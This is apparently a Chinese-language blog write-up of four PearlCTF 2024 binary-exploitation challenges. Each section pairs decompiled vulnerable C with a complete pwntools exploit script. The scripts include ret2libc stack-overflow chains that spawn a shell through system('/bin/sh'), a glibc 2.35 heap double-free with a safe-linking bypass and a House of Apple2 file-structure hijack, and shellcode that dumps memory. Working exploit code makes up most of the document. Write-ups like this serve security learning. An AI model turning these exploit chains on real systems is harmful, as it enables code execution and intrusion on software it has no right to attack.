nyyyddddn

pearlctf_wp

2024/03/10

Adventure

这印度的服务器稀烂,打半天打不通

有一个子函数里面存在栈溢出,用libcsearcher打ret2libc就好了

1
2
3
4
5
6
7
8
9
10
11
12
void __cdecl hatchEgg()
{
char name[20]; // [rsp+0h] [rbp-20h] BYREF

puts("You wish to hatch the egg!");
puts("Give the baby dragon a name");
getchar();
fflush(stdin);
gets(name);
printf("Your dragon is now called %s\n", name);
printf("You leave the area with %s\n", name);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30014

elf = context.binary = ELF('./adventure')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()


# 2 - > 1 -> getchar -> gets

rdi = 0x000000000040121e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401223
ret = 0x000000000040101a

payload = b"a" * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

# sla("Adventure!","2")
# sla("No","1")

time.sleep(2)
sl("2")
time.sleep(2)
sl("1")


# g(p)
sla("Give the baby dragon a name",payload)

rl()
rl()
rl()
leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))

# 4
libc = libc = LibcSearcher('puts',leak)
libc_base= leak - libc.dump("puts")
print(hex(libc_base))
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")


payload = b"a" * (0x20 + 0x8 + 0x1)
payload += p64(rdi) + p64(binsh) + p64(ret) + p64(system)
# g(p)
sla("Give the baby dragon a name",payload)



p.interactive()

babyheap

https://bbs.kanxue.com/thread-273702.htm

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/#%E5%88%A9%E7%94%A8_io_wfile_overflow%E5%87%BD%E6%95%B0%E6%8E%A7%E5%88%B6%E7%A8%8B%E5%BA%8F%E6%89%A7%E8%A1%8C%E6%B5%81

glibc 2.35,先通过unsortedbin和tcache bin去泄露libc_base和heap_base,然后fastbin double free,打house of apple2,最后exit触发io _IO_flush_all_lockp,然后伪造iofile劫持控制流,2.35中fastbin 和 tcachebin fd next的位置有一个加密,加密的过程是这样的

1
2
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

pos 是指存储fd指针的地址,可以通过heap_base 加一个偏移计算出来,所以在double free写fd指针的时候,将fd指针加密再写进去,

e.g.

1
2
target = 0x114514
target = (pos >> 12) ^ target

然后关于iofile这个结构体的构造,pwntool中是有很好的解决方法

https://docs.pwntools.com/en/stable/filepointer.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

sub_1249(a1, a2, a3);
while ( 1 )
{
puts("\n1. Create note\n2. Delete note\n3. View notes\n4. Exit");
printf("Enter choice ");
v3 = sub_1290();
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_13:
puts("Why would you do that.");
}
else if ( v3 == 3 )
{
sub_14F1();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
sub_1303();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
sub_147B();
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
int sub_14F1()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Note Index ");
v1 = sub_1290();
if ( v1 <= 0xF )
return puts(*((const char **)&unk_4060 + v1));
else
return puts("Invalid note index.");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 sub_1303()
{
unsigned __int64 size; // [rsp+8h] [rbp-228h]
unsigned __int64 v2; // [rsp+10h] [rbp-220h]
void *v3; // [rsp+18h] [rbp-218h]
unsigned __int64 v4; // [rsp+228h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Note Index ");
v2 = sub_1290();
if ( v2 > 0xF )
{
puts("Thats an invalid index.");
exit(1);
}
printf("Note Size ");
size = sub_1290();
if ( size > 0x200 )
{
printf("Thats too long for a single Note!!!");
exit(1);
}
v3 = malloc(size);
if ( !v3 )
{
puts("Failed to malloc. Assuming fatal error.");
exit(1);
}
*((_QWORD *)&unk_4060 + v2) = v3;
printf("Note Content > ");
fgets(*((char **)&unk_4060 + v2), size, stdin);
return v4 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
int sub_147B()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Note Index ");
v1 = sub_1290();
if ( v1 > 0xF )
return puts("Invalid note index.");
free(*((void **)&unk_4060 + v1));
return puts("Note deleted.");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "dyn.ctf.pearlctf.in"
PORT = 30010

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_note(idx,size,content):
sla("Enter choice ","1")
sla("Note Index ",str(idx))
sla("Note Size ",str(size))
sla("Note Content",content)


def show_note(idx):
sla("Enter choice ","3")
sla("Note Index ",str(idx))

def delete_note(idx):
sla("Enter choice ","2")
sla("Note Index ",str(idx))


p = connect()


# sl("A")

for i in range(9):
create_note(i,0x170,"AAAA")

for i in range(8):
delete_note(i)


show_note(7)


g(p)

ru("> ")
leak = u64(rl()[:-1].ljust(8,b'\x00'))
libc_base = leak - (0x7f32aa619ce0 - 0x7f32aa400000)

print(hex(libc_base))
# g(p)
# libc_base = r_leak_libc_64() - (0x7fa0dc21ace0 - 0x7fa0dc000000)
# success(hex(libc_base))


show_note(0)
ru('> ')
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12
success(hex(key))
success(hex(heap_base))


for i in range(8):
create_note(i,0x170,"AAAA")

for i in range(9):
create_note(i,0x68,"BBBB")

for i in range(7):
delete_note(i)


delete_note(7)
delete_note(8)
delete_note(7)

for i in range(7):
create_note(i,0x68,"BBBB")


pos = heap_base + (0x55dc5d361330 - 0x55dc5d360000)

target = (libc_base + libc.sym["_IO_list_all"])
target = (pos >> 12) ^ target

create_note(7,0x68,p64(target))
create_note(8,0x68,"BBBB")
create_note(7,0x68,"BBBB")



gg0 = heap_base + (0x5639f6e5f410 - 0x5639f6e5e000)
gg1 = heap_base + (0x5639f6e5f620 - 0x5639f6e5e000)

one=[0xebcf1,0xebcf5,0xebcf8]

# io=FileStructure(0)
# io.flags=0
# io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
# io._wide_data=gg0+0xe0
# io._IO_write_ptr=1
# io._IO_write_base=0
# payload=bytes(io)
# payload2 = 0x68*b"\x00"+p64(libc_base + one[1])

io=FileStructure(0)
io.flags= b" sh"
io.vtable=libc_base+libc.sym["_IO_wfile_jumps"]
io._wide_data=gg0+0xe0
io._IO_write_ptr=1
io._IO_write_base=0

payload=bytes(io)
payload+=b"\x00"*0xe0+p64(gg1)
system = libc_base + libc.sym['system']
payload2 = 0x68*b"\x00"+p64(system)


create_note(10,0x200,payload)
create_note(11,0x200,payload2)
create_note(7,0x68,p64(gg0))

print("SUCCESS")
# g(p)
sla("Enter choice ","4")


p.interactive()

goingback

其实也是ret2libc,子函数里有一个栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_40126A()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
char v2[32]; // [rsp+10h] [rbp-20h] BYREF

printf("Rate your ticket booking experience from 1 to 5: ");
__isoc99_scanf("%d", &v1);
if ( v1 == 5 )
{
puts("Thank you for the rating");
puts("We hope you have a great journey");
exit(0);
}
if ( v1 > 4 )
{
puts("Invalid rating");
return puts("Please try again");
}
else
{
puts("We are sorry for the inconvenience");
puts("Please help us to improve your future experience");
getchar();
fflush(stdin);
return gets(v2);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30011

elf = context.binary = ELF('./goingBack')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()

time.sleep(0.5)
sl("nydn")

time.sleep(0.5)
sl("nydn")

time.sleep(0.5)
sl("114514")

time.sleep(0.5)
sl("aabc")

time.sleep(0.5)
sl("1")

time.sleep(0.5)
sl("3")

main = 0x40126A
rdi = 0x0000000000401265
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x000000000040101a

payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)


sla("experience",payload)

# libc_base = r_leak_libc_64() - libc.sym['puts']
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))


rl()
rl()
rl()

leak = u64(rl()[:-1].ljust(8,b'\x00'))
print(hex(leak))
libc = libc = LibcSearcher('puts',leak)
libc_base= leak - libc.dump("puts")
binsh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")



payload = b'a' * (0x20 + 0x8)
payload += p64(rdi) + p64(binsh) + p64(ret)
payload += p64(system)

# g(p)
time.sleep(0.5)
sl("3")
sla("experience",payload)



p.interactive()

flag-finder

可以模拟随机数找到flag的基地址,不过,直接把整个页打印出来就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v3; // eax
char *v5; // rax
__int64 v6; // rbx
__int64 v7; // rbx
__int64 v8; // rbx
char s[8]; // [rsp+10h] [rbp-60h] BYREF
__int64 v10; // [rsp+18h] [rbp-58h]
__int64 v11; // [rsp+20h] [rbp-50h]
__int64 v12; // [rsp+28h] [rbp-48h]
__int64 v13; // [rsp+30h] [rbp-40h]
__int64 v14; // [rsp+38h] [rbp-38h]
char *v15; // [rsp+40h] [rbp-30h]
int v16; // [rsp+4Ch] [rbp-24h]
char *v17; // [rsp+50h] [rbp-20h]
FILE *stream; // [rsp+58h] [rbp-18h]

sub_4012B6(a1, a2, a3);
v3 = time(0LL);
srand(v3);
stream = fopen("./flag.txt", "r");
if ( !stream )
{
puts("The flag file isn't loading. Please contact an organiser if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
v17 = (char *)mmap(0LL, 0x1000uLL, 3, 34, 0, 0LL);
if ( !v17 )
return 1LL;
v16 = rand() % 4049;
v5 = &v17[v16];
v6 = v10;
*(_QWORD *)v5 = *(_QWORD *)s;
*((_QWORD *)v5 + 1) = v6;
v7 = v12;
*((_QWORD *)v5 + 2) = v11;
*((_QWORD *)v5 + 3) = v7;
v8 = v14;
*((_QWORD *)v5 + 4) = v13;
*((_QWORD *)v5 + 5) = v8;
printf("The flag is present in flag land of 0x1000 bytes starting from %p \n", v17);
v15 = (char *)mmap(0LL, 0x100uLL, 7, 34, 0, 0LL);
if ( !v15 )
return 1LL;
printf("what is your search plan?\n > ");
fgets(v15, 255, stdin);
sub_4012FD();
((void (*)(void))v15)();
return 0LL;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "dyn.ctf.pearlctf.in"
PORT = 30012

elf = context.binary = ELF('./flag-finder')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


# sl("")

ru("from ")
leak_addr = int(r(14),16)
print(hex(leak_addr))


shellcode = asm(f'''
mov rax, 1
mov rdi, 1
mov rsi, {leak_addr}
mov rdx, 0x1000
syscall
''')

ru(" > ")

success("SUCCESS")
# pause()
sl(shellcode)



p.interactive()
CATALOG
  1. 1. Adventure
  2. 2. babyheap
  3. 3. goingback
  4. 4. flag-finder